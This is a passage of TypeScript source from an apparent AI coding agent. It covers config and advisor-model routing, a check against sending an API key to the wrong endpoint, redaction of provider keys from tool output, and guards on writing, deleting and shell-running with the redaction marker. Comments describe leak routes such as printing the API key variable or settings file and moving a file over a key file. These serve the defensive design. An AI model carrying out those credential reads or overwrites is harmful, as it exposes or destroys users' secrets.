config.modelSelection || compactModel === config.model;\n}\n\n/**\n * The compact model's config, for every request made on it: the compaction\n * reducer and the deferred-compaction judge. It is routed to\n * `compactModel` when one is set, without changing the active agent model, and\n * carries the capped, catalog-clamped effort of `compactModelEffort`. It keeps\n * the session's retry policy; the reducer and the judge add their retry caps\n * through `resolveReducerModelConfig`.\n */\nexport function resolveCompactModelConfig(config: AgentConfig): AgentConfig {\n const compactModel = config.compactModel?.trim() || config.settings.compactModel?.trim();\n const resolved = compactsOnSessionModel(config)\n ? config\n : applyModelDefaults(\n resolveModelProviderConfig(config, compactModel!, { trustedSelection: true }),\n );\n const effort = compactModelEffort(resolved);\n // A level was chosen by `compactEffort` or for the session. A level a managed child's catalog\n // merely listed is sent to the child's model, but is not a choice the compact model inherits.\n const chosen = resolved.compactEffort !== undefined || isEffortChosen(resolved);\n return {\n ...resolved,\n effort,\n effortChosen: chosen,\n effortExplicit: resolveEffortExplicit(resolved, effort, chosen),\n };\n}\n\n/**\n * The advisor model the session is configured with, if any. {@link ADVISOR_OFF_VALUE} is \"none\":\n * it is what `/advisor off` writes when a layer it cannot edit still declares an advisor.\n */\nexport function configuredAdvisorModel(\n config: Pick<AgentConfig, 'advisorModel' | 'settings'>,\n): string | undefined {\n const configured =\n config.advisorModel?.trim() || config.settings?.advisorModel?.trim() || undefined;\n return configured?.toLowerCase() === ADVISOR_OFF_VALUE ? undefined : configured;\n}\n\n/**\n * Why `advisorModel` may not be sent a request, or `undefined` when it may. The advisor\n * is a request the user did not make this turn, so it fails closed: an id that is not\n * `<provider>/<model>` for a provider in `settings.provider` resolves against the default\n * endpoint with whichever key is lying around, and that was the user's Anthropic key\n * going to api.openai.com on every consult (#419). Such an id is allowed only when:\n *\n * 1. it is the main model;\n * 2. BOOK_BASE_URL is set, so the default endpoint is the one the user chose. Only the\n * environment counts: the legacy `.bookrc.json` `baseUrl` ships with a repository and\n * does not say what the user chose; or\n * 3. it resolves to the very endpoint (compared after `sameEndpoint` normalisation) and key\n * the main session already uses, so the request reaches no host that is not already\n * receiving that key every turn.\n *\n * An id that starts or ends with `/` is refused first, whatever the base URL: it is no model\n * id, and resolving it throws.\n *\n * `config` is the main session's config.\n */\nexport function advisorModelRefusal(config: AgentConfig, advisorModel: string): string | undefined {\n const id = advisorModel.trim();\n if (id.startsWith('/') || id.endsWith('/')) {\n return `advisor model \"${id}\" is not a model id; use <provider>/<model>`;\n }\n const slash = id.indexOf('/');\n if (id === config.modelSelection || id === config.model) return undefined;\n const providers = config.settings.provider;\n if (slash > 0 && Object.hasOwn(providers, id.slice(0, slash))) return undefined;\n if (config.defaultBaseUrlExplicit) return undefined;\n // The advisor id is the user's own selection (the loader replaced a workspace one naming a\n // withheld provider), so a prefix that names one resolves as the plain fallback and meets the\n // check below like any other unconfigured prefix (#418).\n const resolved = resolveModelProviderConfig(config, id, { trustedSelection: true });\n if (sameEndpoint(resolved.baseUrl, config.baseUrl) && resolved.apiKey === config.apiKey) {\n return undefined;\n }\n const configured = Object.keys(providers).sort();\n return (\n `advisor model \"${id}\" names no configured provider, so its key and endpoint are ambiguous; ` +\n `use <provider>/<model>${configured.length ? ` (configured: ${configured.join(', ')})` : ''}`\n );\n}\n\n/**\n * The config for a request on the advisor model (`tools/advisor.ts`), or\n * `undefined` when none is configured. Routed like the compact model -- the\n * selection may name another provider -- and it keeps the session's effort up to\n * `high`, clamped to the advisor's catalog: the advisor is consulted for judgment,\n * so it is not capped at `medium` the way the reducer is.\n */\nexport function resolveAdvisorModelConfig(config: AgentConfig): AgentConfig | undefined {\n const advisorModel = configuredAdvisorModel(config);\n if (!advisorModel) return undefined;\n const resolved =\n advisorModel === config.modelSelection || advisorModel === config.model\n ? config\n : applyModelDefaults(\n resolveModelProviderConfig(config, advisorModel, { trustedSelection: true }),\n );\n // Up to `high`: at `xhigh` or `max` a thinking advisor can spend its whole output cap\n // reasoning and hand back no advice at all.\n const capped =\n resolved.effort && EFFORT_LEVELS.indexOf(resolved.effort) > EFFORT_LEVELS.indexOf('high')\n ? 'high'\n : resolved.effort;\n const effort = clampEffortToCatalog(resolved, capped);\n const chosen = isEffortChosen(resolved);\n return {\n ...resolved,\n effort,\n effortChosen: chosen,\n effortExplicit: resolveEffortExplicit(resolved, effort, chosen),\n };\n}\n\n/**\n * The reducer's and the judge's config: the compact model's, retried at most\n * twice with the watchdog off. Both fall back when the model path fails -- the\n * reducer to the deterministic checkpoint, the judge to an inconclusive verdict\n * that commits the checkpoint anyway -- so more attempts only delay that.\n */\nexport function resolveReducerModelConfig(config: AgentConfig): AgentConfig {\n const resolved = resolveCompactModelConfig(config);\n return {\n ...resolved,\n // A reducer request that dies before its first byte twice is not going to succeed\n // at that size, and runCompaction already falls back to the deterministic\n // checkpoint when the model path fails — ten attempts at five minutes each only\n // delayed that fallback. The watchdog retries 429/529 without limit, which\n // would lift this cap, so it is off for the reducer.\n retry: {\n ...resolved.retry,\n maxAttempts: Math.min(resolved.retry.maxAttempts, 2),\n watchdog: false,\n },\n };\n}\n\n/**\n * Read a key a settings file wrote as a literal, `{env:VAR}` or `{file:path}`.\n *\n * A workspace layer can carry a reference, so a caller must only hand this a declaration the user\n * has accepted (#418). The audit of every caller: `resolveModelProviderConfig` reads\n * `settings.provider`, which holds trusted-layer providers and approved workspace ones only (a\n * pending or rejected one is absent and its model id throws first); and the model picker's\n * refresh reads the same resolved map; and `checkProviderKey` (`provider-key.ts`) resolves only the\n * key the user just typed into `/model`'s key sheet or `book config provider-key`'s stdin, never\n * one read from a file. Nothing else resolves a reference: project MCP servers\n * expand their own `${VAR}` syntax behind `mcp-approvals.ts`, and hook `env` values are literals\n * behind `hook-approvals.ts`.\n */\nexport function resolveSecret(raw: string | undefined, workspace: string): string | undefined {\n if (!raw) return undefined;\n const reference = parseSecretReference(raw);\n if (reference.kind === 'env') return process.env[reference.name];\n if (reference.kind === 'literal') return raw;\n\n const file = resolveSecretFilePath(reference.path, workspace);\n if (!file.readable) return undefined;\n\n try {\n return readFileSync(file.path, 'utf-8').trim();\n } catch {\n return undefined;\n }\n}\n\nfunction validateEffort(raw: string | undefined): AgentConfig['effort'] {\n if (!raw) return undefined;\n const normalized = raw.trim().toLowerCase();\n return isEffortLevel(normalized) ? normalized : undefined;\n}\n\nconst VALID_PROVIDERS = new Set(['anthropic', 'openai', 'auto']);\n\nfunction validateProvider(raw: string | undefined): AgentConfig['provider'] {\n if (!raw) return undefined;\n const normalized = raw.trim().toLowerCase();\n return VALID_PROVIDERS.has(normalized) ? (normalized as AgentConfig['provider']) : undefined;\n}\n\nfunction clampInt(raw: string, min: number, max: number): number {\n const n = parseInt(raw, 10);\n if (Number.isNaN(n)) return min;\n return Math.max(min, Math.min(max, n));\n}\n\nfunction parsePositiveInt(raw: string | undefined, name: string): number | undefined {\n if (raw === undefined || raw.trim() === '') return undefined;\n const n = Number(raw);\n if (!Number.isInteger(n) || n <= 0) {\n throw new Error(`${name} must be a positive integer`);\n }\n return n;\n}\n","/**\n * The legacy `.bookrc.json` (v0.1.0 format, deprecated).\n *\n * One parser for everything that reads it: the config loader, which acts on the values, and the\n * trust command and doctor, which fingerprint its `baseUrl` for an approval. A second, laxer\n * reader would compute a different fingerprint for the same file, and the approval the user\n * recorded would not be the one the loader checks.\n */\nimport { z } from 'zod';\nimport { existsSync, readFileSync } from 'fs';\nimport { reachesUncPath } from './unc-path.js';\nimport { join } from 'path';\nimport { unboundedInt } from './settings.js';\n\n/**\n * Any string `new URL()` accepts, returned unchanged: what Zod 3's `.url()` checked. Zod 4's\n * `z.url()` also trims the value and strips whitespace inside it, which would change the base URL\n * a `.bookrc.json` names.\n */\nconst legacyUrlSchema = z.string().check((ctx) => {\n if (!URL.canParse(ctx.value)) {\n ctx.issues.push({ code: 'invalid_format', format: 'url', input: ctx.value });\n }\n});\n\nexport const legacyConfigSchema = z.object({\n model: z.string().optional(),\n baseUrl: legacyUrlSchema.optional(),\n maxTurns: unboundedInt().min(1).optional(),\n maxTokens: unboundedInt().min(1000).optional(),\n autoCompactEnabled: z.boolean().optional(),\n animation: z\n .object({\n typewriterSpeed: z.number().int().min(1).max(50).default(3),\n spinnerStyle: z.enum(['braille', 'dots']).default('braille'),\n })\n .optional(),\n accessibility: z\n .object({\n screenReader: z.boolean().default(false),\n reducedMotion: z.boolean().default(false),\n })\n .optional(),\n});\n\nexport type LegacyConfig = z.infer<typeof legacyConfigSchema>;\n\n/** The path of the legacy file in a workspace. */\nexport function legacyConfigPath(workspace: string): string {\n return join(workspace, '.bookrc.json');\n}\n\n/**\n * Parse the workspace's `.bookrc.json`: null when there is none. Throws on a file that is not\n * JSON (naming the path) or does not match the schema, as a launch with it present does.\n */\nexport function parseLegacyConfig(workspace: string): LegacyConfig | null {\n const path = legacyConfigPath(workspace);\n // On a network (UNC) path it is not opened (#579): it counts as absent.\n if (reachesUncPath(path) || !existsSync(path)) return null;\n try {\n return legacyConfigSchema.parse(JSON.parse(readFileSync(path, 'utf-8')));\n } catch (e) {\n if (e instanceof SyntaxError) {\n throw new Error(`Invalid JSON in config file: ${path}`);\n }\n throw e;\n }\n}\n\n/**\n * The legacy `baseUrl`, for a reader that has no use for the error: undefined when the file is\n * absent, unparseable or names no usable URL, which is when there is nothing to decide either.\n */\nexport function readLegacyBaseUrl(workspace: string): string | undefined {\n try {\n return parseLegacyConfig(workspace)?.baseUrl;\n } catch {\n return undefined;\n }\n}\n","import { effortLevelSchema } from '../settings.js';\nimport type { AgentConfig } from '../types/runtime.js';\n\nexport type EffortLevel = NonNullable<AgentConfig['effort']>;\nexport type EffortResult = { ok: boolean; error?: string };\n\n/**\n * Derived from the settings schema rather than restated, so the CLI flag, the\n * env var, `settings.effort`, and `/effort` cannot come to disagree about which\n * levels exist.\n */\nexport const EFFORT_LEVELS: readonly EffortLevel[] = effortLevelSchema.options;\n\nexport const EFFORT_USAGE = 'Usage: /effort [low|medium|high|xhigh|max]';\n\n/**\n * Normalize and validate one effort level, or throw naming the valid ones.\n *\n * Every other source of an effort level is checked -- `BOOK_EFFORT` against this\n * list, `settings.effort` against the schema it comes from. Without this the CLI\n * flag was the one input that reached the provider unchecked, turning a typo\n * into an opaque HTTP 400 instead of a CLI error.\n */\nexport function parseEffortLevel(raw: string, source: string): EffortLevel {\n const normalized = raw.trim().toLowerCase();\n if (!isEffortLevel(normalized)) {\n throw new Error(`${source} must be one of: ${EFFORT_LEVELS.join(', ')} (got \"${raw}\")`);\n }\n return normalized;\n}\n\ntype EffortConfig = Pick<AgentConfig, 'model' | 'modelSelection' | 'modelInfo'>;\n\nexport function isEffortLevel(value: string): value is EffortLevel {\n return EFFORT_LEVELS.includes(value as EffortLevel);\n}\n\n/** Null means effort is disabled; an empty array means metadata exposes no choices. */\nexport function getAvailableEffortLevels(config: EffortConfig): EffortLevel[] | null {\n const metadata = config.modelInfo?.effort;\n if (metadata === false) return null;\n if (typeof metadata === 'object' && metadata.levels) {\n return EFFORT_LEVELS.filter((level) => metadata.levels?.includes(level));\n }\n return [...EFFORT_LEVELS];\n}\n\nexport function getEffortUnavailableError(config: EffortConfig): string | undefined {\n const model = config.modelSelection ?? config.model;\n const levels = getAvailableEffortLevels(config);\n if (levels === null) return `Model \"${model}\" does not support configurable effort.`;\n if (levels.length === 0) return `Model \"${model}\" does not expose any effort levels.`;\n return undefined;\n}\n\n/** Validate, persist, then apply so a failed write never changes live state. */\nexport function updateEffortLevel(\n config: EffortConfig,\n level: EffortLevel,\n persist: (level: EffortLevel) => EffortResult,\n apply: (level: EffortLevel) => void,\n): EffortResult {\n const unavailable = getEffortUnavailableError(config);\n if (unavailable) return { ok: false, error: unavailable };\n\n const levels = getAvailableEffortLevels(config) ?? [];\n if (!levels.includes(level)) {\n const model = config.modelSelection ?? config.model;\n return {\n ok: false,\n error: `Effort level \"${level}\" is not supported by model \"${model}\". Available levels: ${levels.join(', ')}.`,\n };\n }\n\n const result = persist(level);\n if (!result.ok) {\n return {\n ok: false,\n error: `Failed to save effort level${result.error ? `: ${result.error}` : '.'}`,\n };\n }\n\n apply(level);\n return { ok: true };\n}\n","/**\n * The agent's own provider credentials, kept out of tool output (#411).\n *\n * Book hands every Bash child its environment (`BOOK_HOME`, `BOOK_API_KEY`), so a command that\n * prints `$BOOK_API_KEY` or `$BOOK_HOME/settings.json` would otherwise carry the key to the model\n * provider, the session JSONL and `<BOOK_HOME>/tool-output/`. The agent loop redacts each result\n * once, as it is finalized, with the helpers here. Matching is by exact value only: no heuristics,\n * and no pattern is built from a key.\n *\n * Deliberately stateless (no cache): `collectProviderSecrets` reads the config and the environment\n * afresh each time it is called. The agent loop calls it once per `runAgentLoop` and shares the\n * result through `ToolContext.providerSecrets`, so every result of a run is redacted with the same\n * set, and a `/model` switch or an edited key file takes effect on the next run.\n */\nimport { isWithheldWorkspaceProvider, resolveSecret } from './config.js';\nimport type { AgentConfig } from './types/runtime.js';\nimport type { ToolResult } from './types/tools.js';\n\n/** What replaces a provider secret. Fixed, and made of no key's characters. */\nexport const PROVIDER_KEY_MARKER = '[redacted: provider key]';\n\n/**\n * A value shorter than this is not treated as a secret: replacing a 3-letter \"key\" everywhere\n * would mangle ordinary output for no protection.\n */\nexport const MIN_PROVIDER_SECRET_LENGTH = 8;\n\n/**\n * Well-known dummy keys that keyless local endpoints (LM Studio, llama.cpp, Ollama-style servers)\n * ask for. They are ordinary strings, not credentials: treating one as a secret would erase every\n * mention of `lm-studio` from all tool output and make an Edit `old_string` that names it stop\n * matching. Compared case-insensitively, after trimming.\n */\nexport const PLACEHOLDER_PROVIDER_KEYS: readonly string[] = [\n 'not-needed',\n 'lm-studio',\n 'sk-no-key-required',\n 'no-key-required',\n 'no-api-key',\n 'dummy-key',\n 'placeholder',\n];\n\n/**\n * The secret values to redact, longest first and without duplicates.\n *\n * A provider the workspace declared and the user has not approved is skipped: its `apiKey` is\n * repository-controlled, and honouring it would let a repository erase a chosen word from every\n * tool output, or make Book read a `file:` path the repository picked.\n *\n * The `isWithheldWorkspaceProvider` check below is defense in depth: the settings loader already\n * leaves a withheld provider out of `settings.provider`, so this loop never normally meets one.\n */\nexport function collectProviderSecrets(config: AgentConfig): string[] {\n const candidates: Array<string | undefined> = [config.apiKey, process.env.BOOK_API_KEY];\n for (const [id, provider] of Object.entries(config.settings.provider ?? {})) {\n if (isWithheldWorkspaceProvider(config, id)) continue;\n candidates.push(resolveSecret(provider.apiKey, config.workspace));\n }\n const secrets = new Set<string>();\n for (const candidate of candidates) {\n if (typeof candidate !== 'string') continue;\n const value = candidate.trim();\n if (value.length < MIN_PROVIDER_SECRET_LENGTH) continue;\n if (PLACEHOLDER_PROVIDER_KEYS.includes(value.toLowerCase())) continue;\n secrets.add(value);\n }\n return [...secrets].sort((a, b) => b.length - a.length || (a < b ? -1 : a > b ? 1 : 0));\n}\n\n/**\n * Replace every occurrence of every secret with {@link PROVIDER_KEY_MARKER}. Overlapping\n * occurrences collapse into one marker, so a key that contains (or overlaps) another is replaced\n * whole, and the marker is never rescanned.\n */\nexport function redactSecrets(text: string, secrets: readonly string[]): string {\n if (!text || secrets.length === 0) return text;\n const spans: Array<[number, number]> = [];\n for (const secret of secrets) {\n if (!secret) continue;\n for (let at = text.indexOf(secret); at !== -1; at = text.indexOf(secret, at + 1)) {\n spans.push([at, at + secret.length]);\n }\n }\n if (spans.length === 0) return text;\n spans.sort((a, b) => a[0] - b[0] || b[1] - a[1]);\n let out = '';\n let cursor = 0;\n let [start, end] = spans[0];\n const flush = (): void => {\n out += text.slice(cursor, start) + PROVIDER_KEY_MARKER;\n cursor = end;\n };\n for (const span of spans.slice(1)) {\n if (span[0] < end) {\n end = Math.max(end, span[1]);\n continue;\n }\n flush();\n [start, end] = span;\n }\n flush();\n return out + text.slice(cursor);\n}\n\n/**\n * Where a chunk of `text` may end so that no secret straddles the cut.\n *\n * A `BashOutput` read of `limit` characters can end inside a key, and neither half then matches\n * exactly, so each would reach the model unredacted. A cut inside an occurrence moves back to where\n * the occurrence starts; when that leaves nothing (the occurrence opens the chunk), it moves forward\n * to where the occurrence ends instead. Matching stays exact, so the central redactor then replaces\n * the whole key. Returns `limit` itself when the cut is clean, and never more than `text.length`.\n */\nexport function secretSafeCut(text: string, limit: number, secrets: readonly string[]): number {\n const wanted = Math.min(Math.max(1, limit), text.length);\n if (wanted >= text.length || secrets.length === 0) return wanted;\n\n /** The occurrences that cover the boundary before `cut`: they start before it and end past it. */\n const spanning = (cut: number): Array<[number, number]> => {\n const found: Array<[number, number]> = [];\n for (const secret of secrets) {\n if (!secret) continue;\n const from = Math.max(0, cut - secret.length + 1);\n for (let at = text.indexOf(secret, from); at !== -1 && at < cut;) {\n found.push([at, at + secret.length]);\n at = text.indexOf(secret, at + 1);\n }\n }\n return found;\n };\n\n let back = wanted;\n for (let spans = spanning(back); spans.length > 0; spans = spanning(back)) {\n back = Math.min(...spans.map(([start]) => start));\n }\n if (back > 0) return back;\n\n let forward = wanted;\n for (let spans = spanning(forward); spans.length > 0; spans = spanning(forward)) {\n forward = Math.max(...spans.map(([, end]) => end));\n }\n return forward;\n}\n\n/**\n * Where a window of `text` may start so that no secret is cut by its front edge: the mirror of\n * {@link secretSafeCut}. A start inside an occurrence moves back to where the occurrence starts, so\n * the whole key stays in the window and the redactor replaces it; otherwise the fragment that\n * remained would match nothing.\n */\nexport function secretSafeStart(text: string, start: number, secrets: readonly string[]): number {\n let safe = Math.min(Math.max(0, start), text.length);\n if (safe === 0 || safe >= text.length || secrets.length === 0) return safe;\n for (;;) {\n let earliest = safe;\n for (const secret of secrets) {\n if (!secret) continue;\n const from = Math.max(0, safe - secret.length + 1);\n for (let at = text.indexOf(secret, from); at !== -1 && at < safe;) {\n earliest = Math.min(earliest, at);\n at = text.indexOf(secret, at + 1);\n }\n }\n if (earliest === safe) return safe;\n safe = earliest;\n }\n}\n\nfunction isPlainObject(value: unknown): value is Record<string, unknown> {\n if (typeof value !== 'object' || value === null) return false;\n const proto = Object.getPrototypeOf(value) as unknown;\n return proto === Object.prototype || proto === null;\n}\n\n/** Redact every string inside a plain object/array tree; the same value back when none matched. */\nfunction redactValue(value: unknown, secrets: readonly string[], ancestors: Set<object>): unknown {\n if (typeof value === 'string') return redactSecrets(value, secrets);\n if (typeof value !== 'object' || value === null) return value;\n const isArray = Array.isArray(value);\n if (!isArray && !isPlainObject(value)) return value;\n if (ancestors.has(value)) return value;\n ancestors.add(value);\n try {\n if (isArray) {\n let copy: unknown[] | undefined;\n value.forEach((item, index) => {\n const next = redactValue(item, secrets, ancestors);\n if (next === item) return;\n copy ??= [...value];\n copy[index] = next;\n });\n return copy ?? value;\n }\n const record = value as Record<string, unknown>;\n let copy: Record<string, unknown> | undefined;\n for (const [key, item] of Object.entries(record)) {\n const next = redactValue(item, secrets, ancestors);\n if (next === item) continue;\n copy ??= { ...record };\n copy[key] = next;\n }\n return copy ?? value;\n } finally {\n ancestors.delete(value);\n }\n}\n\n/** Fields that identify the call rather than carry output; never rewritten. */\nconst IDENTITY_FIELDS = new Set(['version', 'toolCallId', 'status']);\n\n/**\n * A copy of `result` with the secrets removed from every string it carries: `content`, the\n * presentation, the structured error, the masked placeholder, artifacts, and strings anywhere in\n * `data`. The same object when nothing matched.\n */\nexport function redactToolResultSecrets<T extends ToolResult>(\n result: T,\n secrets: readonly string[],\n): T {\n if (secrets.length === 0) return result;\n const ancestors = new Set<object>();\n let copy: Record<string, unknown> | undefined;\n for (const [key, value] of Object.entries(result)) {\n if (IDENTITY_FIELDS.has(key)) continue;\n const next = redactValue(value, secrets, ancestors);\n if (next === value) continue;\n copy ??= { ...(result as Record<string, unknown>) };\n copy[key] = next;\n }\n return (copy as T | undefined) ?? result;\n}\n","import { PROVIDER_KEY_MARKER } from '../provider-secrets.js';\nimport type { ToolContext, ToolResult } from '../types/tools.js';\nimport { toolFailure } from './result.js';\n\n/** Whether `text` holds one of the session's provider keys. False when none is configured. */\nexport function holdsProviderKey(ctx: ToolContext, text: string): boolean {\n const secrets = ctx.providerSecrets;\n return !!secrets?.length && secrets.some((secret) => text.includes(secret));\n}\n\n/**\n * Refuse a mutation that would put the redaction marker into a file that holds a provider key.\n *\n * The model only ever sees `[redacted: provider key]` where the key is (#411), so reading such a\n * file and writing it back replaces the real credential with the marker. Fires only when the file\n * on disk holds one of the session's secrets *and* the new text carries the marker. A file with no\n * key is covered by `redactedSecretAddition` instead, which refuses adding the marker anywhere\n * while a key is configured (#535); this more specific refusal runs first where both apply.\n */\nexport function redactedSecretOverwrite(\n ctx: ToolContext,\n shownPath: string,\n existing: string,\n incoming: readonly string[],\n): ToolResult | undefined {\n if (!incoming.some((text) => text.includes(PROVIDER_KEY_MARKER))) return undefined;\n if (!holdsProviderKey(ctx, existing)) return undefined;\n return toolFailure(\n `${shownPath} holds a provider key, which Book shows as ${PROVIDER_KEY_MARKER}. Writing that marker back would replace the real key.`,\n {\n code: 'redacted_secret_overwrite',\n remediation:\n 'Use Edit on only the lines that need to change, without the line that shows the marker, or ask the user to make the change.',\n },\n );\n}\n\n/** How many times the redaction marker occurs in `text`. */\nfunction markerCount(text: string): number {\n return text.split(PROVIDER_KEY_MARKER).length - 1;\n}\n\n/**\n * Refuse a write that adds an occurrence of the redaction marker to any file, while a provider key\n * is configured (#535).\n *\n * A marker written to a file with no key can be moved or copied over the key file afterwards by a\n * command that never names it (`mv tmp.json key.json`), so the file the marker first lands in is\n * where it has to be stopped. `before` and `after` are the whole file before and after the write\n * (`''` for a file that does not exist yet), never fragments: an edit can complete a marker across\n * its boundary without its replacement text holding the whole marker. A write that keeps or removes\n * occurrences the file already has (Book's own docs and tests quote the marker) is allowed; one that\n * adds a quote is refused, Book's own repository included, while a key is configured.\n */\nexport function redactedSecretAddition(\n ctx: ToolContext,\n shownPath: string,\n before: string,\n after: string,\n): ToolResult | undefined {\n if (!ctx.providerSecrets?.length) return undefined;\n if (markerCount(after) <= markerCount(before)) return undefined;\n return toolFailure(\n `Writing ${shownPath} would add ${PROVIDER_KEY_MARKER}, which stands for a real provider key that the model cannot see. Book does not write the marker to any file while a provider key is configured.`,\n {\n code: 'redacted_secret_write',\n remediation:\n 'Write a placeholder of your own instead, for example <your-api-key>, or ask the user to write that text.',\n },\n );\n}\n\n/**\n * Refuse deleting a file, or a notebook cell, that holds a provider key (#519).\n *\n * Book never sees the real value, so it can never write it back: a delete is how a rewrite loses\n * the key (Delete File, then Add File with the marker), whether the two arrive in one patch or two.\n * `subject` is what is being deleted, for the message: a file by default.\n */\nexport function redactedSecretDeletion(\n ctx: ToolContext,\n shownPath: string,\n existing: string,\n subject = 'file',\n): ToolResult | undefined {\n if (!holdsProviderKey(ctx, existing)) return undefined;\n return toolFailure(\n `${shownPath} holds a provider key, which Book shows as ${PROVIDER_KEY_MARKER}. Deleting or rewriting the ${subject} would lose the real key, and Book cannot write it back.`,\n {\n code: 'redacted_secret_overwrite',\n remediation:\n 'If the user asked for this file (or cell) to be deleted, ask them to delete it themselves. To change it, edit only the lines that need to change, with Edit or an Update File hunk that leaves the key line alone.',\n },\n );\n}\n\n/**\n * Refuse a shell command whose text carries the redaction marker, while a provider key is\n * configured (#519).\n *\n * The marker stands for a provider key the model cannot see, so a command that names it can only\n * write the marker where the key was, or use it as though it were a credential. The match is on\n * the command text alone, so a search for the marker is refused too.\n */\nexport function redactedSecretCommand(\n ctx: ToolContext,\n command: string | undefined,\n): ToolResult | undefined {\n if (!ctx.providerSecrets?.length) return undefined;\n if (!command?.includes(PROVIDER_KEY_MARKER)) return undefined;\n return toolFailure(\n `The command contains ${PROVIDER_KEY_MARKER}, which stands for a real provider key that the model cannot see. A command must not write or use it.`,\n {\n code: 'redacted_secret_command',\n remediation:\n 'The marker is not the key, and Book cannot write the real key. To change a file that holds a key, edit only the lines that need to change with Edit. To delete or replace such a file, or to run a command that needs the key, ask the user. To search for or quote the marker text itself, leave out the brackets.',\n },\n );\n}\n","import { randomUUID } from 'node:crypto';\nimport { mkdir, readFile, rename, rm, stat, writeFile } from 'node:fs/promises';\nimport { dirname } from 'node:path';\nimport { throwIfAborted } from '../async.js';\n\nexport type LineEnding = 'lf' | 'crlf';\n\nexport interface TextSnapshot {\n exists: boolean;\n bytes: Buffer;\n text: string;\n bom: boolean;\n lineEnding: LineEnding;\n mixedLineEndings: boolean;\n binary: boolean;\n mode?: number;\n}\n\nconst pathLocks = new Map<string, Promise<void>>();\n\nfunction looksBinary(bytes: Buffer): boolean {\n const sample = bytes.subarray(0, 8192);\n if (sample.includes(0)) return true;\n let controls = 0;\n for (const byte of sample) {\n if (byte < 7 || (byte > 13 && byte < 32)) controls++;\n }\n return sample.length > 0 && controls / sample.length > 0.1;\n}\n\nexport async function readTextSnapshot(\n filePath: string,\n allowMissing = false,\n): Promise<TextSnapshot> {\n let bytes: Buffer;\n try {\n bytes = await readFile(filePath);\n } catch (error) {\n if (allowMissing && (error as NodeJS.ErrnoException).code === 'ENOENT') {\n return {\n exists: false,\n bytes: Buffer.alloc(0),\n text: '',\n bom: false,\n lineEnding: 'lf',\n mixedLineEndings: false,\n binary: false,\n mode: undefined,\n };\n }\n throw error;\n }\n const bom = bytes.length >= 3 && bytes[0] === 0xef && bytes[1] === 0xbb && bytes[2] === 0xbf;\n const body = bytes.subarray(bom ? 3 : 0);\n let binary = looksBinary(bytes);\n let decoded: string;\n try {\n decoded = new TextDecoder('utf-8', { fatal: true }).decode(body);\n } catch {\n binary = true;\n decoded = body.toString('utf8');\n }\n const crlfCount = (decoded.match(/\\r\\n/g) ?? []).length;\n const bareLfCount = (decoded.replace(/\\r\\n/g, '').match(/\\n/g) ?? []).length;\n const bareCrCount = (decoded.replace(/\\r\\n/g, '').match(/\\r/g) ?? []).length;\n const mixedLineEndings = (crlfCount > 0 && bareLfCount > 0) || bareCrCount > 0;\n const mode = (await stat(filePath)).mode & 0o777;\n return {\n exists: true,\n bytes,\n text: decoded.replace(/\\r\\n/g, '\\n'),\n bom,\n lineEnding: crlfCount > bareLfCount ? 'crlf' : 'lf',\n mixedLineEndings,\n binary,\n mode,\n };\n}\n\nexport function restoreTextEncoding(\n text: string,\n snapshot: Pick<TextSnapshot, 'bom' | 'lineEnding'>,\n): Buffer {\n const body = snapshot.lineEnding === 'crlf' ? text.replace(/\\n/g, '\\r\\n') : text;\n return Buffer.from(`${snapshot.bom ? '\\ufeff' : ''}${body}`, 'utf8');\n}\n\nexport async function writeFileAtomically(\n filePath: string,\n bytes: Uint8Array,\n signal?: AbortSignal,\n mode?: number,\n): Promise<void> {\n throwIfAborted(signal);\n await mkdir(dirname(filePath), { recursive: true });\n const temporary = `${filePath}.book-tmp-${randomUUID()}`;\n try {\n await writeFile(temporary, bytes, { flag: 'wx', mode });\n throwIfAborted(signal);\n await rename(temporary, filePath);\n } finally {\n await rm(temporary, { force: true }).catch(() => undefined);\n }\n}\n\nexport async function removeFileAtomically(filePath: string, signal?: AbortSignal): Promise<void> {\n throwIfAborted(signal);\n await rm(filePath, { force: false });\n}\n\nasync function acquirePath(path: string): Promise<() => void> {\n const previous = pathLocks.get(path) ?? Promise.resolve();\n let release!: () => void;\n const current = new Promise<void>((resolve) => {\n release = resolve;\n });\n const queued = previous.then(() => current);\n pathLocks.set(path, queued);\n await previous;\n return () => {\n release();\n if (pathLocks.get(path) === queued) pathLocks.delete(path);\n };\n}\n\n/** Serialize mutation validation and commit for each path, in stable order. */\nexport async function withMutationLocks<T>(\n paths: string[],\n operation: () => Promise<T>,\n): Promise<T> {\n const releases: Array<() => void> = [];\n try {\n for (const path of [...new Set(paths)].sort()) releases.push(await acquirePath(path));\n return await operation();\n } finally {\n for (const release of releases.reverse()) release();\n }\n}\n","import type {\n ToolContext,\n ToolDefinition,\n ToolResult,\n FileMutationSummary,\n} from '../types/tools.js';\nimport { throwIfAborted } from '../async.js';\nimport { renderDiffWithStatsAsync } from './diff.js';\nimport { observeFile, requireFreshObservation } from './file-provenance.js';\nimport { checkMemoryWrite, noticeMemoryWrite, withMemoryWarnings } from '../memory-write-guard.js';\nimport {\n messagePathFor,\n mutationDisplayPath,\n pathOutsideWorkspaceResult,\n resolveMutationPath,\n} from './path-utils.js';\nimport { toolFailure, toolSuccess } from './result.js';\nimport { PROVIDER_KEY_MARKER } from '../provider-secrets.js';\nimport {\n redactedSecretAddition,\n redactedSecretDeletion,\n redactedSecretOverwrite,\n} from './redacted-secret-guard.js';\nimport {\n readTextSnapshot,\n removeFileAtomically,\n restoreTextEncoding,\n withMutationLocks,\n writeFileAtomically,\n type TextSnapshot,\n} from './mutation.js';\n\nconst MAX_PATCH_BYTES = 1024 * 1024;\nconst MAX_FILES = 100;\nconst MAX_HUNKS = 1000;\n\nexport type PatchOperation =\n | { kind: 'update'; path: string; hunks: PatchHunk[] }\n | { kind: 'add'; path: string; lines: string[] }\n | { kind: 'delete'; path: string };\n\nexport interface PatchHunk {\n header: string;\n oldStart?: number;\n lines: Array<{\n kind: 'context' | 'remove' | 'add';\n text: string;\n noNewline?: boolean;\n }>;\n}\n\ninterface StagedFile {\n operation: PatchOperation;\n absolutePath: string;\n writePath: string;\n /** How the file is named in text the model reads (`messagePathFor`). */\n messagePath: string;\n /** The file is in the memory directory, so a notice follows the commit. */\n memory?: true;\n before: TextSnapshot;\n afterBytes?: Buffer;\n afterText?: string;\n mutation: FileMutationSummary;\n}\n\nexport interface ParsedPatch {\n operations: PatchOperation[];\n bytes: number;\n}\n\nfunction invalid(message: string, details?: Record<string, unknown>): ToolResult {\n return toolFailure(message, {\n code: 'invalid_patch_syntax',\n remediation: 'Regenerate a Codex-style patch with Begin/End markers and valid file hunks.',\n details,\n });\n}\n\nfunction parseHunkHeader(line: string): { oldStart?: number } 